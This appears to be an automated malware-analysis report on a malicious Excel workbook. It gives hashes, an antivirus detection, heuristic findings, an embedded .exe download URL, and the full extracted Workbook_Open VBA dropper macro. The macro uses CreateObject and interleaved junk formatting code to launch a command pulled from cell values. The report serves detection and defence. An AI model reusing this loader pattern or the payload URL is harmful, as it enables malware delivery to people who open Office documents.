Office (OOXML) malware analysis — malicious · c82de0c7618b7e2a

MALICIOUS

Office (OOXML)

26.3 KB First seen: 2021-04-10

MD5: 015ea76118a48efa9140c35ff2afb897 SHA-1: 90c5c2e7151fa6bc44c52d49b30822a3519e9af8 SHA-256: c82de0c7618b7e2a6aad7bb48cc7530d0c5165bc8a79a14555e48e793fcd454f

290 Risk Score

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 3 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
Set skxrrwbmwkphfvjpotccwariawblduhczdrhuqoi  = CreateObject(Range("A9").Value)
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

Set skxrrwbmwkphfvjpotccwariawblduhczdrhuqoi  = CreateObject(Range("A9").Value)

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://recursosvirtuales.sipyba.co/Zero.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1630 bytes
SHA-256: `4ffa9d5fd2638748d52ece96ea658b7f414605c5a07b1f37df139ab9aae04171`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A1:J22").Select Selection.Borders(xlDiagonalDown).LineStyle = xlNone Selection.Borders(xlDiagonalUp).LineStyle = xlNone With Selection.Borders(xlEdgeLeft) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With gvzhxgoukbyubzcissukrrhffvkoccbbtqwhapsr = Range("A8").Value With Selection.Borders(xlEdgeTop) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With Set skxrrwbmwkphfvjpotccwariawblduhczdrhuqoi = CreateObject(Range("A9").Value) With Selection.Borders(xlEdgeBottom) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With Dim hpjsrwyavwywmujbcyrddzwqxhehtprdmyshaafa With Selection.Borders(xlEdgeRight) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With hpjsrwyavwywmujbcyrddzwqxhehtprdmyshaafa = skxrrwbmwkphfvjpotccwariawblduhczdrhuqoi.Create(gvzhxgoukbyubzcissukrrhffvkoccbbtqwhapsr) End Sub Attribute VB_Name = "fkbpxtmdujzetapmivkdgzgthvu" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	5120 bytes
SHA-256: `056a336b4e5d96991bba55faf273ceae8f8d300c50da518f7fb0d3c99d914b1c`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.